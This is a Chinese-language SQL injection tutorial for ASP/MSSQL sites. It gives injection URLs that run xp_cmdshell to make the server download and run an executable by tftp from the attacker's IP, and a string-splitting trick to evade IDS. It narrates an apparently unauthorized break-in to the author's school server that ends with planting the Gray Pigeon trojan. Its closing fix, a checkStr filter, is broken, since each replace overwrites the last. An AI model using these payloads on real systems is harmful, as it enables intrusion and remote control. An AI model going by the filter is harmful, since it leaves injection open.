SQL injection可以說是一種漏洞,也可以說成是一種攻擊方法,程序中的變量處理不當(dāng),對(duì)用戶提交的數(shù)據(jù)過濾不足,都可能產(chǎn)生這個(gè)漏洞,而攻擊原理就是利用用戶提交或可修改的數(shù)據(jù),把想要的SQL語句插入到系統(tǒng)實(shí)際SQL語句中,輕則獲得敏感的信息,重則控制服務(wù)器。SQL injection并不緊緊局限在Mssql數(shù)據(jù)庫中,Access、Mysql、Oracle、Sybase都可以進(jìn)行SQL injection攻擊。
isno的《SQL injection攻擊技術(shù)》是一篇不可多得的好文章,大家可以看看,但是程序畢竟是各種各樣的,有些可以通過修改URL數(shù)據(jù)來提交命令或語句,有些則不行,不能打URL的主意,怎么辦呢?通過修改<input>標(biāo)簽內(nèi)的value的值也可以提交我們構(gòu)造的語句,SQL injection是很靈活的技術(shù),但我們的目的只有一個(gè),就是想方設(shè)法饒過程序或IDS的檢測(cè)和處理提交我們構(gòu)造的有效語句。
檢測(cè)漏洞
在大多數(shù)ASP站點(diǎn)中,我們并不知道其程序代碼,靠任何掃描器也不可能發(fā)現(xiàn)SQL injection漏洞,這時(shí)就要靠手工檢測(cè)了,由于我們執(zhí)行SQL語句要用到單引號(hào)、分號(hào)、逗號(hào)、冒號(hào)和“--”,所以我們就在可修改的URL后加上以上符號(hào),或在表單中的文本框加上這些符號(hào),比如:
http://localhost/show.asp?id=1'
http://localhost/show.asp?id=1;
……
通過頁面返回的信息,判斷是否存在SQL injection漏洞,只是最簡單的通過字符過濾來判斷,根據(jù)IIS配置不同,返回的信息是不定的,有時(shí)顯示:
Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 '80040e21'
ODBC 驅(qū)動(dòng)程序不支持所需的屬性。
/register/lostpass2.asp,行15
有時(shí)可能會(huì)顯示“HTTP 500 - 內(nèi)部服務(wù)器錯(cuò)誤”,也可能顯示原來的頁面,也就是頁面正常顯示,更可能提示“HTTP 404 – 找不到該頁”,判斷是否有漏洞就要有個(gè)最基本的根據(jù)——經(jīng)驗(yàn),原來我剛開始學(xué)習(xí)的時(shí)候認(rèn)為我們學(xué)校沒有這個(gè)漏洞,但小叮當(dāng)告訴我,返回的信息僅僅是個(gè)根據(jù),更重要的是經(jīng)驗(yàn),結(jié)果我們學(xué)校就在2小時(shí)內(nèi)被他利用SQL injection漏洞進(jìn)入了,還開了一個(gè)telnet服務(wù)……
如果能拿到源代碼就更好了,可以通過分析源代碼來發(fā)現(xiàn)ASP文件的問題,不過這要求有較高的編程功底,最近PsKey就發(fā)現(xiàn)了不少程序存在SQL injection漏洞。真是個(gè)厲害角色。
提交數(shù)據(jù)
我們判斷出一個(gè)ASP程序存在SQL injection漏洞以后就要構(gòu)造我們的語句來對(duì)服務(wù)器進(jìn)行操作了,一般我們的目的是控制SQL服務(wù)器查閱信息甚至操作系統(tǒng)。所以我們要用到xp_cmdshell這個(gè)擴(kuò)展存儲(chǔ)過程,xp_cmdshell是一個(gè)非常有用的擴(kuò)展存儲(chǔ)過程,用于執(zhí)行系統(tǒng)命令,比如dir,我們可以根據(jù)程序的不同,提交不同的語句,下例語句僅僅是個(gè)參考,告訴大家這個(gè)原理,實(shí)際情況視程序而定,照搬不一定成功,下同。
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--
正如前面所說,提交這樣的信息瀏覽器會(huì)返回出錯(cuò)信息或500錯(cuò)誤,我們?cè)趺床拍苤缊?zhí)行是否成功呢?isno的辦法是用nc監(jiān)聽本機(jī)端口,然后提交nslookup命令來查詢,我個(gè)人覺得有些麻煩,直接用tftp來有多種好處,能知道命令是否成功執(zhí)行;能獲得SQL服務(wù)器的IP從而判斷SQL服務(wù)器的位置;還能節(jié)省一些步驟直接上傳文件到SQL服務(wù)器。利用xp_cmdshell擴(kuò)展存儲(chǔ)過程執(zhí)行tftp命令,在玩unicode漏洞的時(shí)候大家就爐火純青了吧?列如:
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'--
有時(shí)提交的數(shù)據(jù)并不一定起作用,看你怎么繞過程序的檢測(cè)了,如果幸運(yùn)成功的話,可以看到tftp軟件的窗口出現(xiàn)從本機(jī)下載文件的信息了。
對(duì)話框中的IP地址就是SQL服務(wù)器的IP,可以根據(jù)這個(gè)IP判斷SQL服務(wù)器處于什么位置,和web服務(wù)器一起,在局域網(wǎng)內(nèi),還是單獨(dú)的服務(wù)器,就自己判斷了,此知識(shí)點(diǎn)不在本文討論范圍內(nèi),就此略過。命令執(zhí)行成功以后,就可以替換單引號(hào)中的內(nèi)容,添加用戶、提升權(quán)限做什么都隨便大家了,不過要看看連接SQL服務(wù)器的這個(gè)角色是什么組的了。
饒過程序/IDS檢測(cè)
大多數(shù)時(shí)候,情況并非我們想象的那么順利,明明字符過濾不完善,但程序或IDS檢測(cè)到用戶提交某個(gè)擴(kuò)展存儲(chǔ)過程或系統(tǒng)命令,就自動(dòng)轉(zhuǎn)換或拆分字符,讓我們提交的數(shù)據(jù)分家或改變導(dǎo)致失效,怎么辦呢?我記得我為了弄清如何饒過IDS檢測(cè),花了兩節(jié)課的時(shí)間來思考,還寫寫畫畫浪費(fèi)了半本筆記本,又經(jīng)過小叮當(dāng)?shù)奶崾?,就產(chǎn)生一個(gè)思路:拆分命令字符串,賦值給變量,然后把變量組合起來提交,這樣就不會(huì)分家了,下面給出兩個(gè)例子:
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
有時(shí)候并不需要這樣,只要把某些字符換ASCII代碼,同樣也可以成功執(zhí)行,這個(gè)我還沒有條件試,如果哪位高人有這方面的研究,請(qǐng)賜教。
實(shí)戰(zhàn)
我們學(xué)校的站點(diǎn)做得不錯(cuò),上次發(fā)表了《由學(xué)校校園網(wǎng)看網(wǎng)絡(luò)安全現(xiàn)況》以后,學(xué)校的安全性各方面都有些提高,監(jiān)控程序接近變態(tài),為什么這樣說呢?添加了幾十個(gè)守護(hù)進(jìn)程,動(dòng)不動(dòng)就死機(jī)、藍(lán)屏,不過我又破了,包括最令學(xué)校自豪的硬盤保護(hù)卡。(有人要問我為什么都拿自己學(xué)校開刀?因?yàn)樽鳛橐粋€(gè)安全技術(shù)愛好者連自己的學(xué)校/公司都搞不定還怎么混啊?而且可以間接提醒一下管理員,因?yàn)槲覀儗W(xué)校的管理員對(duì)安全性不是很在乎)可見安全沒有絕對(duì)的,當(dāng)然也不可能十全十美,盡管用掃描器找不到任何漏洞,但利用SQL injection漏洞卻可以輕易攻破,看看整個(gè)站點(diǎn),沒有任何URL參數(shù),文章是靜態(tài)的頁面,只有一個(gè)注冊(cè)系統(tǒng)和動(dòng)網(wǎng)論壇,動(dòng)網(wǎng)論壇是SQL版的,自己修改過,所以比較安全,最新的漏洞沒有。由于學(xué)校有條件,所以全站是基于ASP+SQL,為我們利用SQL injection漏洞打下基礎(chǔ),注冊(cè)系統(tǒng)有個(gè)忘記密碼功能,文件是lostpass.asp,提交用戶以后轉(zhuǎn)到lostpass1.asp,提交單引號(hào)和分號(hào)都提示錯(cuò)誤,看來是沒有過濾好,于是我提交以下命令:
exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
exec master..xp_cmdshell 'tftp –i youip get file.exe'--
xp_cmdshell 'tftp –i youip get file.exe';--
……
執(zhí)行了N條指令(N>50),都不見效,算了,先放棄,再看看還有什么文件可以利用,不久發(fā)現(xiàn)shownews.asp這個(gè)文件,通??梢詧?zhí)行系統(tǒng)命令的都是這類顯示文章、資料等等文件,我想學(xué)校的開發(fā)人員的安全意識(shí)應(yīng)該還沒有那么強(qiáng),所以著實(shí)開心了一陣,馬上試試:
http://ourschool/shownews.asp?newsid=1;
http://ourschool/shownews.asp?newsid=1'
呵呵,返回“HTTP 500 - 內(nèi)部服務(wù)器錯(cuò)誤”憑經(jīng)驗(yàn)漏洞存在,OK,馬上輸入:
http://ourschool/shownews.asp?newsid=1'exec master..xp_cmdshell 'tftp -i myip get flash.exe';--
http://ourschool/shownews.asp?newsid=1;exec master..xp_cmdshell 'tftp -i myip get flash.exe;--
……
http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--
試到這句的時(shí)候,終于發(fā)現(xiàn)tftp軟件的窗口有提示了,大家可以參考前面的那個(gè)截圖,我們已經(jīng)成功了,我的經(jīng)驗(yàn)告訴我,連接SQL數(shù)據(jù)庫的角色是Sysadmin組的,因?yàn)槲覀儗W(xué)校是獨(dú)立的服務(wù)器,所以權(quán)限應(yīng)該很高,我們可以執(zhí)行任意命令,只要替換http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--這句單引號(hào)里的命令即可,為了快點(diǎn)結(jié)束戰(zhàn)斗,我還是傳了個(gè)灰鴿子上去,剛才傳的flash.exe就是客戶端:)事后證明,連接數(shù)據(jù)庫的果然是sa,善后工作就不寫了,反正大家都知道。
整個(gè)過程看起來很簡單,執(zhí)行一些語句就可以了,其實(shí)提交數(shù)據(jù)的時(shí)候,由于我事先沒有看過shownews.asp的代碼(后來我看了),提交了不下20次無效的語句,走了不少彎路,不過對(duì)SQL Injection的高手來說這些都是一些皮毛,這篇文章只不過是有個(gè)引導(dǎo)作用罷了。
解決辦法
事后分析了一下(多謝PsKey的指導(dǎo))shownews.asp,發(fā)現(xiàn)有這個(gè)文件完全沒有做任何過濾,里面有這么一句:
rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1
可以直接構(gòu)造 newsid 發(fā)動(dòng)sql injection攻擊,針對(duì)這個(gè)文件的解決辦法就是用replace函數(shù)過濾,看看下面的一個(gè)函數(shù):
<%
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","")
checkStr=replace(str,";","")
checkStr=replace(str,"--","")
end function
%>
需要從根本上解決解決SQL Injection問題。還得從程序本身入手。過濾不能單純的過濾URL所提交的參數(shù),在表單里的也要過濾,value=后面的可以修改的數(shù)據(jù),修改后可以提交到服務(wù)器,總之對(duì)所有的表單提交的數(shù)據(jù)以及用戶可能對(duì)HTML源文件進(jìn)行修改來控制的所有來自Web服務(wù)器外部的數(shù)據(jù)進(jìn)行過濾或轉(zhuǎn)換,(我不擅于表達(dá),此話改自isno的一句話,謝謝isno)對(duì)單引號(hào)、雙引號(hào)、分號(hào)“--”還有對(duì)數(shù)字鍵上面的所有特殊字符進(jìn)行過濾,還有QUERY_STRING環(huán)境變量。在服務(wù)器上刪除一些危險(xiǎn)的擴(kuò)展存儲(chǔ)過程,比如xp_cmdshell。有條件裝個(gè)IDS更好,不敢說無堅(jiān)不摧,但至少可以阻擋大部分攻擊者。